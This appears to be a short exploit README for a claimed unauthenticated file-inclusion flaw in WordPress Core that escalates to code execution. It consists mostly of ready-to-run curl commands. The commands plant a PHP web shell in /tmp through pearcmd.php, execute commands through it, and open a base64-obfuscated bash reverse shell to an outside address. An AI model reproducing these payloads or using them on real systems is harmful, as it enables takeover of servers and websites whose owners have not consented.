CVE-2026-87902 — Conditional LFI

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WordPress Core <= 7.1.1 — unauthenticated LFI (template loader pagename) → RCE via pearcmd.php & peclcmd.php

Run docker lab

cd docker && docker compose up -d

Exploit - curl

curl -s 'http://10.137.137.49:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd&+config-create+/&<?=`$_REQUEST[_]`?>+/tmp/pwn.php'

curl -s 'http://10.137.137.49:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn&_=id'


# Reverse Shell
curl -s 'http://127.0.0.1:18092/?page_id=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn&_=echo+L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjM3LzQ0MyAwPiYxJyAg|base64+-d|sh'

Exploit — python

python3 exploit-pear.py

Credits: https://github.com/ressl/cve-2026-87902-poc